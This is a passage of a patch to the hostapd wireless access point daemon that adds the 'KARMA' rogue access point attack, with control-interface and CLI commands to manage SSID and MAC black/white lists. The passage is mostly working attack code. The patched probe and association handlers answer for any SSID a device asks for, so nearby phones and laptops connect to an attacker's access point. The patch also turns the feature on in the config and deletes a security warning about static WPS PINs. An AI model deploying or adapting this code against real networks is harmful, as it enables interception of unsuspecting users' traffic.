++ wpa_printf(MSG_DEBUG, "KARMA: Enabled");
++ }
++ // KARMA END
+ } else if (os_strcmp(buf, "dump_file") == 0) {
+ bss->dump_log_name = os_strdup(pos);
+ } else if (os_strcmp(buf, "ssid") == 0) {
+diff -Nur hostapd-1.0/hostapd/ctrl_iface.c hostapd-1.0-karma/hostapd/ctrl_iface.c
+--- hostapd-1.0/hostapd/ctrl_iface.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/ctrl_iface.c 2012-08-06 14:38:25.000000000 +0100
+@@ -39,6 +39,7 @@
+ #include "wps/wps_defs.h"
+ #include "wps/wps.h"
+ #include "ctrl_iface.h"
++#include "ap/beacon.h"
+
+
+ struct wpa_ctrl_dst {
+@@ -267,6 +268,170 @@
+ return 0;
+ }
+
++// KARMA START
++
++static int hostapd_ctrl_iface_karma_get_black_white (struct hostapd_data *hapd)
++{
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE BLACK/WHITE QUERY (%i) x", hapd->iconf->karma_black_white);
++ return hapd->iconf->karma_black_white;
++}
++static int hostapd_ctrl_iface_karma_get_state (struct hostapd_data *hapd)
++{
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE STATUS QUERY");
++ return hapd->iconf->enable_karma;
++}
++static int hostapd_ctrl_iface_karma_del_ssid (struct hostapd_data *hapd,
++ const char *ssid) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE DEL SSID %s", ssid);
++
++ karma_ssid_t *karma_ssid;
++ karma_ssid_t *previous_ssid;
++
++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++ return -1;
++ }
++
++ karma_ssid = hapd->iconf->karma_list;
++ previous_ssid = NULL;
++
++ while (karma_ssid != NULL) {
++// wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Checking ssid %s against %s", karma_ssid->ssid, ssid);
++
++ if (strncmp(karma_ssid->ssid, ssid, karma_ssid->length) == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Match found, deleting and returning early");
++ if (previous_ssid == NULL) {
++ hapd->iconf->karma_list = karma_ssid->next;
++ } else {
++ previous_ssid->next = karma_ssid->next;
++ }
++ os_free (karma_ssid);
++ return 0;
++ }
++ previous_ssid = karma_ssid;
++ karma_ssid = karma_ssid->next;
++ }
++ wpa_printf(MSG_DEBUG, "KARMA SCTRL_IFACE No match found");
++ return 0;
++}
++// Used in the hostapd_ctrl_iface_karma_add_mac function to sort the MAC ACL list
++static int hostapd_acl_comp(const void *a, const void *b)
++{
++ const struct mac_acl_entry *aa = a;
++ const struct mac_acl_entry *bb = b;
++ return os_memcmp(aa->addr, bb->addr, sizeof(macaddr));
++}
++
++static int hostapd_ctrl_iface_karma_add_mac (struct hostapd_data *hapd,
++ const char *mac, int black) {
++
++ u8 addr[ETH_ALEN];
++ struct mac_acl_entry *newacl;
++ struct hostapd_bss_config *bss;
++ char buf[128];
++ struct mac_acl_entry **acl;
++ int *num;
++ // for now we don't care about VLANs so just hardcoding 0
++ int vlan_id = 0;
++
++ if (hwaddr_aton(mac, addr)) {
++ wpa_printf(MSG_ERROR, "Invalid MAC address '%s'", buf);
++ return -1;
++ }
++
++ bss = hapd->iconf->last_bss;
++ if (black) {
++ hostapd_ctrl_iface_deauthenticate(hapd, buf);
++ num = &bss->num_deny_mac;
++ acl = &bss->deny_mac;
++ } else {
++ num = &bss->num_accept_mac;
++ acl = &bss->accept_mac;
++ }
++
++ newacl = os_realloc(*acl, (*num + 1) * sizeof(**acl));
++ if (newacl == NULL) {
++ wpa_printf(MSG_ERROR, "MAC list reallocation failed");
++ return -1;
++ }
++
++ *acl = newacl;
++ os_memcpy((*acl)[*num].addr, addr, ETH_ALEN);
++ (*acl)[*num].vlan_id = vlan_id;
++ (*num)++;
++
++ qsort(*acl, *num, sizeof(**acl), hostapd_acl_comp);
++
++ //num = &bss->num_deny_mac;
++ wpa_printf(MSG_DEBUG, "There are now %i MAC addresses in the list", *num);
++
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_add_ssid (struct hostapd_data *hapd,
++ const char *ssid) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE ADD SSID %s", ssid);
++
++ karma_ssid_t *karma_ssid;
++
++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++ return -1;
++ }
++
++ karma_ssid = os_malloc (sizeof (karma_ssid_t));
++ karma_ssid->length = strlen(ssid);
++ karma_ssid->ssid = os_malloc (karma_ssid->length + 1);
++ os_memcpy(karma_ssid->ssid, ssid, strlen(ssid) + 1);
++ karma_ssid->next = hapd->iconf->karma_list;
++ hapd->iconf->karma_list = karma_ssid;
++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA ADDED SUCCESSFULLY");
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_change_ssid (struct hostapd_data *hapd,
++ const char *ssid) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE CHANGE SSID %s", ssid);
++
++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) {
++ return -1;
++ }
++
++ hapd->conf->ssid.ssid_len = strlen(ssid);
++ // Not sure if the +1 is needed here or not
++ os_memcpy(hapd->conf->ssid.ssid, ssid, strlen(ssid) + 1);
++ ieee802_11_set_beacon(hapd);
++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA Default SSID Changed");
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_black_white (struct hostapd_data *hapd,
++ int status)
++{
++ // 0 = white
++ if (status == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE White List");
++ } else {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Black List");
++ }
++ hapd->iconf->karma_black_white = status;
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE list passed in %i value %i", status, hapd->iconf->karma_black_white );
++
++ return 0;
++}
++
++static int hostapd_ctrl_iface_karma_enable_disable (struct hostapd_data *hapd,
++ int status)
++{
++ if (status) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE ENABLED");
++ } else {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE DISABLED");
++ }
++ hapd->iconf->enable_karma = status;
++
++ return 0;
++}
++
++// KARMA END
+
+ static int hostapd_ctrl_iface_disassociate(struct hostapd_data *hapd,
+ const char *txtaddr)
+@@ -942,6 +1107,80 @@
+ } else if (os_strncmp(buf, "GET ", 4) == 0) {
+ reply_len = hostapd_ctrl_iface_get(hapd, buf + 4, reply,
+ reply_size);
++// KARMA
++ } else if (os_strcmp(buf, "KARMA_BLACK_WHITE") == 0) {
++ if (hostapd_ctrl_iface_karma_get_black_white(hapd)) {
++ os_memcpy(reply, "BLACK\n", 6);
++ reply_len = 6;
++ } else {
++ os_memcpy(reply, "WHITE\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strcmp(buf, "KARMA_STATE") == 0) {
++ if (hostapd_ctrl_iface_karma_get_state(hapd)) {
++ os_memcpy(reply, "ENABLED\n", 8);
++ reply_len = 8;
++ } else {
++ os_memcpy(reply, "DISABLED\n", 9);
++ reply_len = 9;
++ }
++ } else if (os_strncmp(buf, "KARMA_DEL_SSID ", 15) == 0) {
++ if (hostapd_ctrl_iface_karma_del_ssid (hapd, buf + 15)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "DELETED\n", 8);
++ reply_len = 8;
++ }
++ } else if (os_strncmp(buf, "KARMA_ADD_SSID ", 15) == 0) {
++ if (hostapd_ctrl_iface_karma_add_ssid (hapd, buf + 15)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "ADDED\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strncmp(buf, "KARMA_ADD_WHITE_MAC ", 20) == 0) {
++ if (hostapd_ctrl_iface_karma_add_mac (hapd, buf + 20, 0)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "ADDED\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strncmp(buf, "KARMA_ADD_BLACK_MAC ", 20) == 0) {
++ if (hostapd_ctrl_iface_karma_add_mac (hapd, buf + 20, 1)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "ADDED\n", 6);
++ reply_len = 6;
++ }
++ } else if (os_strcmp(buf, "KARMA_GET_SSID") == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE GET SSID");
++ size_t len;
++
++ // +2 for the new line and the null byte terminator
++ len = hapd->conf->ssid.ssid_len + 2;
++ os_snprintf(reply, len, "%s\n", hapd->conf->ssid.ssid);
++ reply_len = len;
++
++ } else if (os_strncmp(buf, "KARMA_CHANGE_SSID ", 18) == 0) {
++ if (hostapd_ctrl_iface_karma_change_ssid (hapd, buf + 18)) {
++ reply_len = -1;
++ } else {
++ os_memcpy(reply, "CHANGED\n", 8);
++ reply_len = 8;
++ }
++ } else if (os_strcmp(buf, "KARMA_WHITE") == 0) {
++ if (hostapd_ctrl_iface_karma_black_white(hapd, 0))
++ reply_len = -1;
++ } else if (os_strcmp(buf, "KARMA_BLACK") == 0) {
++ if (hostapd_ctrl_iface_karma_black_white(hapd, 1))
++ reply_len = -1;
++ } else if (os_strcmp(buf, "KARMA_DISABLE") == 0) {
++ if (hostapd_ctrl_iface_karma_enable_disable(hapd, 0))
++ reply_len = -1;
++ } else if (os_strcmp(buf, "KARMA_ENABLE") == 0) {
++ if (hostapd_ctrl_iface_karma_enable_disable(hapd, 1))
++ reply_len = -1;
++// END KARMA
+ } else {
+ os_memcpy(reply, "UNKNOWN COMMAND\n", 16);
+ reply_len = 16;
+diff -Nur hostapd-1.0/hostapd/hostapd_cli.c hostapd-1.0-karma/hostapd/hostapd_cli.c
+--- hostapd-1.0/hostapd/hostapd_cli.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/hostapd_cli.c 2012-08-06 14:34:58.000000000 +0100
+@@ -21,6 +21,9 @@
+ #include "utils/edit.h"
+ #include "common/version.h"
+
++// Added this here as it is in an include file that isn't normally included
++// by the cli
++#define HOSTAPD_MAX_SSID_LEN 32
+
+ static const char *hostapd_cli_version =
+ "hostapd_cli v" VERSION_STR "\n"
+@@ -81,31 +84,44 @@
+
+ static const char *commands_help =
+ "Commands:\n"
+-" mib get MIB variables (dot1x, dot11, radius)\n"
+-" sta <addr> get MIB variables for one station\n"
+-" all_sta get MIB variables for all stations\n"
+-" new_sta <addr> add a new station\n"
++" mib get MIB variables (dot1x, dot11, radius)\n"
++" sta <addr> get MIB variables for one station\n"
++" all_sta get MIB variables for all stations\n"
++" new_sta <addr> add a new station\n"
+ " deauthenticate <addr> deauthenticate a station\n"
+-" disassociate <addr> disassociate a station\n"
++" disassociate <addr> disassociate a station\n"
+ #ifdef CONFIG_IEEE80211W
+-" sa_query <addr> send SA Query to a station\n"
++" sa_query <addr> send SA Query to a station\n"
+ #endif /* CONFIG_IEEE80211W */
+ #ifdef CONFIG_WPS
+ " wps_pin <uuid> <pin> [timeout] [addr] add WPS Enrollee PIN\n"
+-" wps_check_pin <PIN> verify PIN checksum\n"
+-" wps_pbc indicate button pushed to initiate PBC\n"
++" wps_check_pin <PIN> verify PIN checksum\n"
++" wps_pbc indicate button pushed to initiate PBC\n"
+ #ifdef CONFIG_WPS_OOB
+ " wps_oob <type> <path> <method> use WPS with out-of-band (UFD)\n"
+ #endif /* CONFIG_WPS_OOB */
+ " wps_ap_pin <cmd> [params..] enable/disable AP PIN\n"
+ " wps_config <SSID> <auth> <encr> <key> configure AP\n"
+ #endif /* CONFIG_WPS */
+-" get_config show current configuration\n"
+-" help show this usage help\n"
+-" interface [ifname] show interfaces/select interface\n"
+-" level <debug level> change debug level\n"
+-" license show full hostapd_cli license\n"
+-" quit exit hostapd_cli\n";
++" get_config show current configuration\n"
++" help show this usage help\n"
++" interface [ifname] show interfaces/select interface\n"
++" level <debug level> change debug level\n"
++" license show full hostapd_cli license\n"
++" ping send a ping, get a pong\n"
++" karma_change_ssid change the default SSID for when Karma is off\n"
++" karma_get_ssid get the default SSID for when Karma is off\n"
++" karma_enable enable Karma\n"
++" karma_disable disable Karma\n"
++" karma_black blacklist Karma\n"
++" karma_white whitelist Karma\n"
++" karma_get_black_white get the black/whitelist state of Karma\n"
++" karma_add_ssid add an SSID to the black/white list\n"
++" karma_del_ssid delete an SSID from the black/white list\n"
++" karma_get_state get the state of Karma\n"
++" karma_add_black_mac add a MAC to the black list\n"
++" karma_add_white_mac add a MAC to the white list\n"
++" quit exit hostapd_cli\n";
+
+ static struct wpa_ctrl *ctrl_conn;
+ static int hostapd_cli_quit = 0;
+@@ -343,6 +359,129 @@
+ return wpa_ctrl_command(ctrl, buf);
+ }
+
++// KARMA
++
++static int hostapd_cli_cmd_karma_del_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'delete Karma SSID' command - exactly one "
++ "argument, SSID, is required.\n");
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_DEL_SSID %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_change_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of SSID is 32 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'change Karma SSID' command - exactly one "
++ "argument, SSID, is required.\n");
++ return -1;
++ }
++ if (strlen(argv[0]) > HOSTAPD_MAX_SSID_LEN) {
++ printf("The max length of an SSID is %i\n", HOSTAPD_MAX_SSID_LEN);
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_CHANGE_SSID %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++static int hostapd_cli_cmd_karma_get_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_GET_SSID");
++}
++static int hostapd_cli_cmd_karma_add_white_mac(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of MAC is 17 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'add white MAC' command - exactly one "
++ "argument, MAC, is required.\n");
++ return -1;
++ }
++ // Can't find a define for the length of a MAC address as a string
++ // ETH_ALEN is the number of individual bytes
++ if (strlen(argv[0]) != 17) {
++ printf("The MAC should be in the format 00:11:22:33:44:55\n");
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_WHITE_MAC %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_add_black_mac(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of MAC is 17 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'add black MAC' command - exactly one "
++ "argument, MAC, is required.\n");
++ return -1;
++ }
++ // Can't find a define for the length of a MAC address as a string
++ // ETH_ALEN is the number of individual bytes
++ if (strlen(argv[0]) != 17) {
++ printf("The MAC should be in the format 00:11:22:33:44:55\n");
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_BLACK_MAC %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_add_ssid(struct wpa_ctrl *ctrl, int argc,
++ char *argv[])
++{
++ // Max length of SSID is 32 chars + the command and the null byte
++ char buf[50];
++ if (argc < 1) {
++ printf("Invalid 'added Karma SSID' command - exactly one "
++ "argument, SSID, is required.\n");
++ return -1;
++ }
++ if (strlen(argv[0]) > HOSTAPD_MAX_SSID_LEN) {
++ printf("The max length of an SSID is %i\n", HOSTAPD_MAX_SSID_LEN);
++ return -1;
++ }
++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_SSID %s", argv[0]);
++ return wpa_ctrl_command(ctrl, buf);
++}
++
++// These should be one function with a parameter
++
++static int hostapd_cli_cmd_karma_disable(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_DISABLE");
++}
++static int hostapd_cli_cmd_karma_black(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_BLACK");
++}
++static int hostapd_cli_cmd_karma_white(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_WHITE");
++}
++static int hostapd_cli_cmd_karma_get_black_white(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_BLACK_WHITE");
++}
++static int hostapd_cli_cmd_karma_enable(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_ENABLE");
++}
++static int hostapd_cli_cmd_karma_get_state(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++ return wpa_ctrl_command(ctrl, "KARMA_STATE");
++}
++// END KARMA
++
+
+ #ifdef CONFIG_IEEE80211W
+ static int hostapd_cli_cmd_sa_query(struct wpa_ctrl *ctrl, int argc,
+@@ -757,6 +896,22 @@
+ { "quit", hostapd_cli_cmd_quit },
+ { "set", hostapd_cli_cmd_set },
+ { "get", hostapd_cli_cmd_get },
++// KARMA
++// Because I always type ? first
++ { "?", hostapd_cli_cmd_help },
++ { "karma_del_ssid", hostapd_cli_cmd_karma_del_ssid},
++ { "karma_add_ssid", hostapd_cli_cmd_karma_add_ssid},
++ { "karma_add_black_mac", hostapd_cli_cmd_karma_add_black_mac},
++ { "karma_add_white_mac", hostapd_cli_cmd_karma_add_white_mac},
++ { "karma_change_ssid", hostapd_cli_cmd_karma_change_ssid},
++ { "karma_get_ssid", hostapd_cli_cmd_karma_get_ssid},
++ { "karma_get_state", hostapd_cli_cmd_karma_get_state},
++ { "karma_disable", hostapd_cli_cmd_karma_disable},
++ { "karma_enable", hostapd_cli_cmd_karma_enable},
++ { "karma_white", hostapd_cli_cmd_karma_white},
++ { "karma_black", hostapd_cli_cmd_karma_black},
++ { "karma_get_black_white", hostapd_cli_cmd_karma_get_black_white},
++// END KARMA
+ { NULL, NULL }
+ };
+
+diff -Nur hostapd-1.0/hostapd/hostapd.conf hostapd-1.0-karma/hostapd/hostapd.conf
+--- hostapd-1.0/hostapd/hostapd.conf 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/hostapd.conf 2012-08-06 17:06:46.000000000 +0100
+@@ -1,3 +1,12 @@
++# 0 = disabled
++# 1 = enabled
++enable_karma=1
++
++# 0 = white
++# 1 = black
++karma_black_white=1
++#karma_ssid_file=/etc/hostapd_karma_ssid
++
+ ##### hostapd configuration file ##############################################
+ # Empty lines and lines starting with # are ignored
+
+@@ -47,9 +56,9 @@
+ # 4 = warning
+ #
+ logger_syslog=-1
+-logger_syslog_level=2
++logger_syslog_level=0
+ logger_stdout=-1
+-logger_stdout_level=2
++logger_stdout_level=0
+
+ # Dump file for state information (on SIGUSR1)
+ dump_file=/tmp/hostapd.dump
+@@ -939,13 +948,9 @@
+ # in the AP).
+ #pbc_in_m1=1
+
+-# Static access point PIN for initial configuration and adding Registrars
++# Access point PIN for initial configuration and adding Registrars
+ # If not set, hostapd will not allow external WPS Registrars to control the
+-# access point. The AP PIN can also be set at runtime with hostapd_cli
+-# wps_ap_pin command. Use of temporary (enabled by user action) and random
+-# AP PIN is much more secure than configuring a static AP PIN here. As such,
+-# use of the ap_pin parameter is not recommended if the AP device has means for
+-# displaying a random PIN.
++# access point.
+ #ap_pin=12345670
+
+ # Skip building of automatic WPS credential
+@@ -1117,8 +1122,13 @@
+ # as the defaults for the following BSSes. However, it is recommended that all
+ # BSSes include explicit configuration of all relevant configuration items.
+ #
+-#bss=wlan0_0
++#bss=wlan10
+ #ssid=test2
++#bssid=02:21:91:01:11:31
++#
++#bss=wlan11
++#ssid=test3
++#bssid=02:21:91:01:11:32
+ # most of the above items can be used here (apart from radio interface specific
+ # items, like channel)
+
+diff -Nur hostapd-1.0/hostapd/main.c hostapd-1.0-karma/hostapd/main.c
+--- hostapd-1.0/hostapd/main.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/main.c 2012-08-06 16:53:56.000000000 +0100
+@@ -512,7 +512,8 @@
+ "User space daemon for IEEE 802.11 AP management,\n"
+ "IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
+ "Copyright (c) 2002-2012, Jouni Malinen <j@w1.fi> "
+- "and contributors\n");
++ "and contributors\n"
++ "Karma patches by Robin Wood - robin@digininja.org\n");
+ }
+
+
+diff -Nur hostapd-1.0/src/ap/ap_config.h hostapd-1.0-karma/src/ap/ap_config.h
+--- hostapd-1.0/src/ap/ap_config.h 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/ap_config.h 2012-08-06 12:20:55.000000000 +0100
+@@ -364,6 +364,19 @@
+ };
+
+
++/*
++* KARMA STUFF
++*
++* A structure to hold the black/white list
++*
++*/
++typedef struct karma_ssid{
++ int length;
++ char *ssid;
++ struct karma_ssid *next;
++} karma_ssid_t;
++// END KARMA
++
+ /**
+ * struct hostapd_config - Per-radio interface configuration
+ */
+@@ -371,6 +384,14 @@
+ struct hostapd_bss_config *bss, *last_bss;
+ size_t num_bss;
+
++ // KARMA
++ int enable_karma;
++ // 0 = white
++ int karma_black_white; /* KARMA black or white list*/
++ karma_ssid_t *karma_list;
++
++ // KARMA END
++
+ u16 beacon_int;
+ int rts_threshold;
+ int fragm_threshold;
+diff -Nur hostapd-1.0/src/ap/beacon.c hostapd-1.0-karma/src/ap/beacon.c
+--- hostapd-1.0/src/ap/beacon.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/beacon.c 2012-08-06 17:01:34.000000000 +0100
+@@ -198,6 +198,11 @@
+ struct sta_info *sta = NULL;
+ size_t buflen;
+ size_t i;
++ // KARMA
++ karma_ssid_t *karma_ssid;
++ int found;
++ int free_ssid = 0;
++ // END KARMA
+
+ ie = mgmt->u.probe_req.variable;
+ if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.probe_req))
+@@ -274,34 +279,93 @@
+ }
+ #endif /* CONFIG_P2P */
+
+- if (elems.ssid_len == 0 ||
+- (elems.ssid_len == hapd->conf->ssid.ssid_len &&
+- os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) ==
+- 0)) {
+- ssid = hapd->conf->ssid.ssid;
+- ssid_len = hapd->conf->ssid.ssid_len;
+- if (sta)
+- sta->ssid_probe = &hapd->conf->ssid;
+- }
+
+- if (!ssid) {
+- if (!(mgmt->da[0] & 0x01)) {
++ // KARMA
++ if (hapd->iconf->enable_karma) {
++ wpa_printf(MSG_MSGDUMP, "KARMA CTRL_IFACE Karam is enabled for handling probe request\n");
++ // Max length for SSID is 32 chars
++ if (elems.ssid_len > 0 && elems.ssid_len <= 32) {
++
++ char myssid_txt[33];
++ ieee802_11_print_ssid(myssid_txt, elems.ssid, elems.ssid_len);
++
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Requested ESSID is %s", myssid_txt);
++
++ karma_ssid = hapd->iconf->karma_list;
++
++ found = 0;
++
++ while (karma_ssid != NULL) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Checking ESSID %s against %s", karma_ssid->ssid, myssid_txt);
++
++ if (strlen(myssid_txt) == karma_ssid->length && strncmp(karma_ssid->ssid, myssid_txt, karma_ssid->length) == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Match found, leaving loop");
++ found = 1;
++ break;
++ }
++ karma_ssid = karma_ssid->next;
++ }
++
++
++ if (hapd->iconf->karma_black_white == 0 && found == 0) {
++ // white list
++ wpa_printf(MSG_MSGDUMP, "KARMA: ESSID not found in white list mode so not accepting probe");
++ return;
++ }
++ if (hapd->iconf->karma_black_white == 1 && found == 1) {
++ // black list
++ wpa_printf(MSG_MSGDUMP, "KARMA: ESSID found in black list mode so not accepting the probe");
++ return;
++ }
++
++ ssid = os_malloc(elems.ssid_len + 1);
++ free_ssid = 1;
++
++ memcpy (ssid, elems.ssid, elems.ssid_len + 1);
++ ssid_len = elems.ssid_len;
++ if (sta)
++ sta->ssid_probe = &hapd->conf->ssid;
++ }
++
++ if (elems.ssid_len != 0) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, elems.ssid,
+- elems.ssid_len);
+- wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+- " for foreign SSID '%s' (DA " MACSTR ")",
+- MAC2STR(mgmt->sa), ssid_txt,
+- MAC2STR(mgmt->da));
++ elems.ssid_len);
++ wpa_printf(MSG_MSGDUMP, "KARMA: Probe Request from " MACSTR
++ " for SSID '%s'",
++ MAC2STR(mgmt->sa), ssid_txt);
++ }
++ } else {
++ wpa_printf(MSG_MSGDUMP, "KARMA is disabled when handling probe request\n");
++ if (elems.ssid_len == 0 ||
++ (elems.ssid_len == hapd->conf->ssid.ssid_len &&
++ os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) ==
++ 0)) {
++ ssid = hapd->conf->ssid.ssid;
++ ssid_len = hapd->conf->ssid.ssid_len;
++ if (sta)
++ sta->ssid_probe = &hapd->conf->ssid;
++ }
++
++ if (!ssid) {
++ if (!(mgmt->da[0] & 0x01)) {
++ char ssid_txt[33];
++ ieee802_11_print_ssid(ssid_txt, elems.ssid,
++ elems.ssid_len);
++ wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
++ " for foreign SSID '%s'",
++ MAC2STR(mgmt->sa), ssid_txt);
++ }
++ return;
+ }
+- return;
+ }
++ // KARMA END
+
+ #ifdef CONFIG_INTERWORKING
+ if (elems.interworking && elems.interworking_len >= 1) {
+ u8 ant = elems.interworking[0] & 0x0f;
+ if (ant != INTERWORKING_ANT_WILDCARD &&
+- ant != hapd->conf->access_network_type) {
++ ant != hapd->conf->access_network_type) {
+ wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+ " for mismatching ANT %u ignored",
+ MAC2STR(mgmt->sa), ant);
+@@ -310,14 +374,14 @@
+ }
+
+ if (elems.interworking &&
+- (elems.interworking_len == 7 || elems.interworking_len == 9)) {
++ (elems.interworking_len == 7 || elems.interworking_len == 9)) {
+ const u8 *hessid;
+ if (elems.interworking_len == 7)
+ hessid = elems.interworking + 1;
+ else
+ hessid = elems.interworking + 1 + 2;
+ if (!is_broadcast_ether_addr(hessid) &&
+- os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) {
++ os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) {
+ wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+ " for mismatching HESSID " MACSTR
+ " ignored",
+@@ -427,6 +491,13 @@
+ wpa_printf(MSG_EXCESSIVE, "STA " MACSTR " sent probe request for %s "
+ "SSID", MAC2STR(mgmt->sa),
+ elems.ssid_len == 0 ? "broadcast" : "our");
++
++ // KARMA
++ if (free_ssid) {
++// wpa_printf(MSG_MSGDUMP, "KARMA ssid malloc'd so free it\n");
++ os_free (ssid);
++ }
++ // END KARMA
+ }
+
+ #endif /* NEED_AP_MLME */
+diff -Nur hostapd-1.0/src/ap/ieee802_11.c hostapd-1.0-karma/src/ap/ieee802_11.c
+--- hostapd-1.0/src/ap/ieee802_11.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/ieee802_11.c 2012-08-06 12:24:27.000000000 +0100
+@@ -520,18 +520,28 @@
+ if (ssid_ie == NULL)
+ return WLAN_STATUS_UNSPECIFIED_FAILURE;
+
+- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ // KARMA
++ if (hapd->iconf->enable_karma) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+- hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+- HOSTAPD_LEVEL_INFO,
+- "Station tried to associate with unknown SSID "
+- "'%s'", ssid_txt);
+- return WLAN_STATUS_UNSPECIFIED_FAILURE;
+- }
++ wpa_printf(MSG_MSGDUMP, "KARMA: Checking SSID for start of association, pass through %s", ssid_txt);
+
+- return WLAN_STATUS_SUCCESS;
++ return WLAN_STATUS_SUCCESS;
++ } else {
++ if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ char ssid_txt[33];
++ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
++ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
++ HOSTAPD_LEVEL_INFO,
++ "Station tried to associate with unknown SSID "
++ "'%s'", ssid_txt);
++ return WLAN_STATUS_UNSPECIFIED_FAILURE;
++ }
++
++ return WLAN_STATUS_SUCCESS;
++ }
++ // KARMA END
+ }
+
+
+@@ -1523,6 +1533,21 @@
+ * step.
+ */
+ ap_sta_set_authorized(hapd, sta, 1);
++
++ // KARMA
++ // Print that it has associated and give the MAC and AP
++ // Doesn't currently work though as can't find ESSID
++ if (hapd->iconf->enable_karma) {
++ // This gives the ESSID of the AP and not the one from the probe.
++ //struct hostapd_ssid *ssid = sta->ssid;
++
++ // printf("KARMA: Successful association of " MACSTR " to ESSID '%s'\n",
++ // MAC2STR(mgmt->da), ssid->ssid);
++ printf("KARMA: Successful association of " MACSTR "\n",
++ MAC2STR(mgmt->da));
